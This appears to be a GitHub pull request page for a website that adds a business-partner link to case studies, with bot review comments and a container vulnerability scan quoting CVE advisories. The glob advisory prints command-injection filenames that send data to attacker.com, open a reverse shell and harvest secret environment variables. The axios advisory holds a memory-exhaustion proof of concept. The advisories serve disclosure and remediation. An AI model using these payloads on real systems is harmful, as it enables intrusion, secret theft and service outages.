Skip to content

feat: add business partner link to case studies - #226

Merged
IhorMasechko merged 10 commits into
mainfrom
feature/add-case-study-partner-link
Dec 8, 2025
Merged

feat: add business partner link to case studies#226
IhorMasechko merged 10 commits into
mainfrom
feature/add-case-study-partner-link

Conversation

@IhorMasechko

@IhorMasechko IhorMasechko commented Dec 4, 2025

Copy link
Copy Markdown
Contributor
  • Add business-partner module with logo and website fields
  • Add partner relationship field to case studies
  • Display partnership section on case study detail pages
  • Style partnership box with responsive layout
  • Add partner logo and link functionality

Introduces a business-partner module enabling case studies to link partners. Adds business-partner piece-type with logo and website fields, integrates partner relationship field into case studies, displays partnership section on case study detail pages with logo and external link, and implements responsive styling with hover effects.

- Add business-partner module with logo and website fields
- Add partner relationship field to case studies
- Display partnership section on case study detail pages
- Style partnership box with responsive layout
- Add partner logo and link functionality
@coderabbitai

coderabbitai Bot commented Dec 4, 2025

Copy link
Copy Markdown
Contributor

Walkthrough

Adds a new business-partner piece-type (title, single-image partnerLogo area, required partnerWebsite) and registers it in the app modules and the Admin Bar "Cases" group. Adds a _partner relationship field to case-studies and inserts it into the Basics group. Updates the case-studies-page show template to render a partnership block when a partner is present and adds SCSS for that partnership block. Updates the GitHub Actions SonarQube job to respect SONAR_DISABLE_CI and supplies verbose and PR-related scan arguments.

Possibly related PRs

Pre-merge checks

❌ Failed checks (1 warning)
Check name Status Explanation Resolution
Docstring Coverage ⚠️ Warning Docstring coverage is 0.00% which is insufficient. The required threshold is 80.00%. You can run @coderabbitai generate docstrings to improve docstring coverage.
✅ Passed checks (2 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately describes the main objective of the PR: adding business partner functionality to case studies with clear branding convention.

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@github-actions

github-actions Bot commented Dec 4, 2025

Copy link
Copy Markdown

🔍 Vulnerabilities of apostrophe-cms:test

📦 Image Reference apostrophe-cms:test
digestsha256:e67ea4289ee48ff7fcd5b383c33886a17a6aef3be258714bdf9560c94a9a6a36
vulnerabilitiescritical: 1 high: 12 medium: 0 low: 0
platformlinux/amd64
size291 MB
packages985
📦 Base Image node:23-alpine
also known as
  • 23-alpine3.22
  • 23.11-alpine
  • 23.11-alpine3.22
  • 23.11.1-alpine
  • 23.11.1-alpine3.22
digestsha256:b9d38d589853406ff0d4364f21969840c3e0397087643aef8eede40edbb6c7cd
vulnerabilitiescritical: 0 high: 2 medium: 3 low: 3
critical: 1 high: 0 medium: 0 low: 0 form-data 4.0.2 (npm)

pkg:npm/form-data@4.0.2

critical 9.4: CVE--2025--7783 Use of Insufficiently Random Values

Affected range>=4.0.0
<4.0.4
Fixed version4.0.4
CVSS Score9.4
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N
EPSS Score0.062%
EPSS Percentile19th percentile
Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

  1. can observe other values produced by Math.random in the target application, and
  2. can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

  • Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)
  • Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

critical: 0 high: 2 medium: 0 low: 0 node-forge 1.3.1 (npm)

pkg:npm/node-forge@1.3.1

high 8.7: CVE--2025--66031 Uncontrolled Recursion

Affected range<1.3.2
Fixed version1.3.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.101%
EPSS Percentile28th percentile
Description

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

An ASN.1 Denial of Service (Dos) vulnerability exists in the node-forge asn1.fromDer function within forge/lib/asn1.js. The ASN.1 DER parser implementation (_fromDer) recurses for every constructed ASN.1 value (SEQUENCE, SET, etc.) and lacks a guard limiting recursion depth. An attacker can craft a small DER blob containing a very large nesting depth of constructed TLVs which causes the Node.js V8 engine to exhaust its call stack and throw RangeError: Maximum call stack size exceeded, crashing or incapacitating the process handling the parse. This is a remote, low-cost Denial-of-Service against applications that parse untrusted ASN.1 objects.

Impact

This vulnerability enables an unauthenticated attacker to reliably crash a server or client using node-forge for TLS connections or certificate parsing.

This vulnerability impacts the ans1.fromDer function in node-forge before patched version 1.3.2.

Any downstream application using this component is impacted. These components may be leveraged by downstream applications in ways that enable full compromise of availability.

high 8.7: CVE--2025--12816 Interpretation Conflict

Affected range<1.3.2
Fixed version1.3.2
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.072%
EPSS Percentile22nd percentile
Description

Summary

CVE-2025-12816 has been reserved by CERT/CC

Description
An Interpretation Conflict (CWE-436) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft ASN.1 structures to desynchronize schema validations, yielding a semantic divergence that may bypass downstream cryptographic verifications and security decisions.

Details

A critical ASN.1 validation bypass vulnerability exists in the node-forge asn1.validate function within forge/lib/asn1.js. ASN.1 is a schema language that defines data structures, like the typed record schemas used in X.509, PKCS#7, PKCS#12, etc. DER (Distinguished Encoding Rules), a strict binary encoding of ASN.1, is what cryptographic code expects when verifying signatures, and the exact bytes and structure must match the schema used to compute and verify the signature. After deserializing DER, Forge uses static ASN.1 validation schemas to locate the signed data or public key, compute digests over the exact bytes required, and feed digest and signature fields into cryptographic primitives.

This vulnerability allows a specially crafted ASN.1 object to desynchronize the validator on optional boundaries, causing a malformed optional field to be semantically reinterpreted as the subsequent mandatory structure. This manifests as logic bypasses in cryptographic algorithms and protocols with optional security features (such as PKCS#12, where MACs are treated as absent) and semantic interpretation conflicts in strict protocols (such as X.509, where fields are read as the wrong type).

Impact

This flaw allows an attacker to desynchronize the validator, allowing critical components like digital signatures or integrity checks to be skipped or validated against attacker-controlled data.

This vulnerability impacts the ans1.validate function in node-forge before patched version 1.3.2.
https://github.com/digitalbazaar/forge/blob/main/lib/asn1.js.

The following components in node-forge are impacted.
lib/asn1.js
lib/x509.js
lib/pkcs12.js
lib/pkcs7.js
lib/rsa.js
lib/pbe.js
lib/ed25519.js

Any downstream application using these components is impacted.

These components may be leveraged by downstream applications in ways that enable full compromise of integrity, leading to potential availability and confidentiality compromises.

critical: 0 high: 1 medium: 0 low: 0 async 1.5.2 (npm)

pkg:npm/async@1.5.2

high 7.8: CVE--2021--43138 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range<2.6.4
Fixed version2.6.4, 3.2.2
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.706%
EPSS Percentile71st percentile
Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

critical: 0 high: 1 medium: 0 low: 0 openssl 3.5.0-r0 (apk)

pkg:apk/alpine/openssl@3.5.0-r0?os_name=alpine&os_version=3.22

high : CVE--2025--9230

Affected range<3.5.4-r0
Fixed version3.5.4-r0
EPSS Score0.026%
EPSS Percentile6th percentile
Description
critical: 0 high: 1 medium: 0 low: 0 async 0.9.2 (npm)

pkg:npm/async@0.9.2

high 7.8: CVE--2021--43138 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities

Affected range<2.6.4
Fixed version2.6.4, 3.2.2
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.706%
EPSS Percentile71st percentile
Description

A vulnerability exists in Async through 3.2.1 (fixed in 3.2.2), which could let a malicious user obtain privileges via the mapValues() method.

critical: 0 high: 1 medium: 0 low: 0 jws 4.0.0 (npm)

pkg:npm/jws@4.0.0

high 7.5: CVE--2025--65945 Improper Verification of Cryptographic Signature

Affected range=4.0.0
Fixed version4.0.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.020%
EPSS Percentile4th percentile
Description

Overview

An improper signature verification vulnerability exists when using auth0/node-jws with the HS256 algorithm under specific conditions.

Am I Affected?

You are affected by this vulnerability if you meet all of the following preconditions:

  1. Application uses the auth0/node-jws implementation of JSON Web Signatures, versions <=3.2.2 || 4.0.0
  2. Application uses the jws.createVerify() function for HMAC algorithms
  3. Application uses user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

You are NOT affected by this vulnerability if you meet any of the following preconditions:

  1. Application uses the jws.verify() interface (note: auth0/node-jsonwebtoken users fall into this category and are therefore NOT affected by this vulnerability)
  2. Application uses only asymmetric algorithms (e.g. RS256)
  3. Application doesn’t use user-provided data from the JSON Web Signature Protected Header or Payload in the HMAC secret lookup routines

Fix

Upgrade auth0/node-jws version to version 3.2.3 or 4.0.1

Acknowledgement

Okta would like to thank Félix Charette for discovering this vulnerability.

critical: 0 high: 1 medium: 0 low: 0 tar-fs 2.1.3 (npm)

pkg:npm/tar-fs@2.1.3

high 8.7: CVE--2025--59343 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=2.0.0
<2.1.4
Fixed version2.1.4
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.024%
EPSS Percentile5th percentile
Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Reported by: Mapta / BugBunny_ai

critical: 0 high: 1 medium: 0 low: 0 tar-fs 3.0.9 (npm)

pkg:npm/tar-fs@3.0.9

high 8.7: CVE--2025--59343 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range>=3.0.0
<3.1.1
Fixed version3.1.1
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Score0.024%
EPSS Percentile5th percentile
Description

Impact

v3.1.0, v2.1.3, v1.16.5 and below

Patches

Has been patched in 3.1.1, 2.1.4, and 1.16.6

Workarounds

You can use the ignore option to ignore non files/directories.

  ignore (_, header) {
    // pass files & directories, ignore e.g. symlinks
    return header.type !== 'file' && header.type !== 'directory'
  }

Credit

Reported by: Mapta / BugBunny_ai

critical: 0 high: 1 medium: 0 low: 0 connect-multiparty 2.2.0 (npm)

pkg:npm/connect-multiparty@2.2.0

high 7.8: CVE--2022--29623 Unrestricted Upload of File with Dangerous Type

Affected range<=2.2.0
Fixed versionNot Fixed
CVSS Score7.8
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Score0.448%
EPSS Percentile63rd percentile
Description

An arbitrary file upload vulnerability in the file upload module of Express Connect-Multiparty 2.2.0 allows attackers to execute arbitrary code via a crafted PDF file. NOTE: the Supplier has not verified this vulnerability report.

critical: 0 high: 1 medium: 0 low: 0 axios 1.8.4 (npm)

pkg:npm/axios@1.8.4

high 7.5: CVE--2025--58754 Allocation of Resources Without Limits or Throttling

Affected range>=1.0.0
<1.12.0
Fixed version1.12.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.026%
EPSS Percentile6th percentile
Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}
  • The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
  • It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
  • As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

  1. Enforce size limits
    For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.

  2. Stream decoding
    Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

critical: 0 high: 1 medium: 0 low: 0 linkifyjs 4.2.0 (npm)

pkg:npm/linkifyjs@4.2.0

high 8.8: CVE--2025--8101 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range<4.3.2
Fixed version4.3.2
CVSS Score8.8
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N
EPSS Score0.088%
EPSS Percentile26th percentile
Description

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') vulnerability in Linkify (linkifyjs) allows XSS Targeting HTML Attributes and Manipulating User-Controlled Variables.This issue affects Linkify: from 4.3.1 before 4.3.2.

critical: 0 high: 1 medium: 0 low: 0 glob 10.4.5 (npm)

pkg:npm/glob@10.4.5

high 7.5: CVE--2025--64756 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Affected range>=10.2.0
<10.5.0
Fixed version11.1.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Score0.036%
EPSS Percentile10th percentile
Description

Summary

The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.

Details

Root Cause:
The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:

stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))

Technical Flow:

  1. User runs glob -c <command> <pattern>
  2. CLI finds files matching the pattern
  3. Matched filenames are collected into an array
  4. Command is executed with matched filenames as arguments using shell: true
  5. Shell interprets metacharacters in filenames as command syntax
  6. Malicious filenames execute arbitrary commands

Affected Component:

  • CLI Only: The vulnerability affects only the command-line interface
  • Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected
  • Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)

Attack Surface:

  • Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc.
  • Any directory where attackers can control filenames (PR branches, archives, user uploads)
  • CI/CD pipelines using glob -c on untrusted content

PoC

Setup Malicious File:

mkdir test_directory && cd test_directory

# Create file with command injection payload in filename
touch '$(touch injected_poc)'

Trigger Vulnerability:

# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"

Result:

  • The echo command executes normally
  • Additionally: The $(touch injected_poc) in the filename is evaluated by the shell
  • A new file injected_poc is created, proving command execution
  • Any command can be injected this way with full user privileges

Advanced Payload Examples:

Data Exfiltration:

# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'

Reverse Shell:

# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'

Environment Variable Harvesting:

# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'

Impact

Arbitrary Command Execution:

  • Commands execute with full privileges of the user running glob CLI
  • No privilege escalation required - runs as current user
  • Access to environment variables, file system, and network

Real-World Attack Scenarios:

1. CI/CD Pipeline Compromise:

  • Malicious PR adds files with crafted names to repository
  • CI pipeline uses glob -c to process files (linting, testing, deployment)
  • Commands execute in CI environment with build secrets and deployment credentials
  • Potential for supply chain compromise through artifact tampering

2. Developer Workstation Attack:

  • Developer clones repository or extracts archive containing malicious filenames
  • Local build scripts use glob -c for file processing
  • Developer machine compromise with access to SSH keys, tokens, local services

3. Automated Processing Systems:

  • Services using glob CLI to process uploaded files or external content
  • File uploads with malicious names trigger command execution
  • Server-side compromise with potential for lateral movement

4. Supply Chain Poisoning:

  • Malicious packages or themes include files with crafted names
  • Build processes using glob CLI automatically process these files
  • Wide distribution of compromise through package ecosystems

Platform-Specific Risks:

  • POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing
  • Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL
  • Mixed Environments: CI systems often use Linux containers regardless of developer platform

Affected Products

  • Ecosystem: npm
  • Package name: glob
  • Component: CLI only (src/bin.mts)
  • Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched)
  • Introduced: v10.2.0 (first release with CLI containing -c/--cmd option)
  • Patched versions: 11.1.0and 10.5.0

Scope Limitation:

  • Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe
  • CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable

Remediation

  • Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible.
  • If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead.
  • As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between 22815b5 and d0b91ce.

📒 Files selected for processing (5)
  • website/app.js (1 hunks)
  • website/modules/@apostrophecms/admin-bar/index.js (1 hunks)
  • website/modules/asset/ui/src/scss/_cases.scss (1 hunks)
  • website/modules/business-partner/index.js (1 hunks)
  • website/modules/case-studies/index.js (2 hunks)
🧰 Additional context used
🧠 Learnings (4)
📚 Learning: 2025-05-14T09:44:56.398Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.

Applied to files:

  • website/modules/case-studies/index.js
📚 Learning: 2025-08-29T09:36:15.180Z
Learnt from: Anton-88
Repo: speedandfunction/website PR: 223
File: website/modules/asset/ui/src/scss/_cases.scss:1289-1296
Timestamp: 2025-08-29T09:36:15.180Z
Learning: In website/modules/asset/ui/src/scss/_cases.scss, the user Anton-88 prefers to keep position: sticky for the .filter-modal__content despite potential technical concerns, citing the complicated modal structure as the reason.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-05-29T07:16:52.843Z
Learnt from: IhorMasechko
Repo: speedandfunction/website PR: 132
File: website/modules/asset/ui/src/scss/_not-found.scss:52-64
Timestamp: 2025-05-29T07:16:52.843Z
Learning: In website/modules/asset/ui/src/scss/_not-found.scss, the .two-buttons container with flex-direction: row and child .sf-button elements having width: 100% does not cause overflow issues and renders correctly, despite theoretical expectations.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
📚 Learning: 2025-05-26T15:57:01.766Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 121
File: website/modules/asset/ui/src/scss/_vacancies.scss:99-102
Timestamp: 2025-05-26T15:57:01.766Z
Learning: In website/modules/asset/ui/src/scss/_vacancies.scss, the margin shorthand (e.g., `margin: 0 0 8px`) in `.sf-vacancies_footer h2` is intentionally used to reset all margins and set specific bottom margins, rather than using `margin-bottom` alone. This approach ensures clean baseline styling that doesn't inherit unwanted margins, while still allowing the sibling selector `.vacancy-card + .sf-vacancies_footer h2` to add top margins when a vacancy card precedes the footer.

Applied to files:

  • website/modules/asset/ui/src/scss/_cases.scss
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
  • GitHub Check: e2e-tests
  • GitHub Check: lint
  • GitHub Check: unit-tests
  • GitHub Check: security-scan
🔇 Additional comments (1)
website/modules/case-studies/index.js (1)

53-67: No issues found with the _partner relationship field configuration. ApostropheCMS relationship builders' project option correctly supports area field projections. The codebase already demonstrates this pattern working successfully elsewhere—the testimonials module projects the picture area field using the same syntax (picture: 1). The partnerLogo area field will be fetched correctly with the current projection.

Likely an incorrect or invalid review comment.

Comment thread website/modules/asset/ui/src/scss/_cases.scss
Comment thread website/modules/business-partner/index.js

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 2

📜 Review details

Configuration used: CodeRabbit UI

Review profile: ASSERTIVE

Plan: Pro

📥 Commits

Reviewing files that changed from the base of the PR and between d0b91ce and e3f5706.

📒 Files selected for processing (1)
  • website/modules/case-studies-page/views/show.html (1 hunks)
🧰 Additional context used
🧠 Learnings (2)
📓 Common learnings
Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
Learning: For the Case Study cards in website/modules/case-studies-page/views/index.html, the "type" and "industry" fields are temporarily hard-coded with values "Mobile Development" and "Manufacturing" as placeholders. These will be replaced with dynamic data ({{ article.type }} and {{ article.industry }}) in a future task.
📚 Learning: 2025-05-14T09:44:56.398Z
Learnt from: yuramax
Repo: speedandfunction/website PR: 84
File: website/modules/case-studies-page/views/index.html:87-90
Timestamp: 2025-05-14T09:44:56.398Z
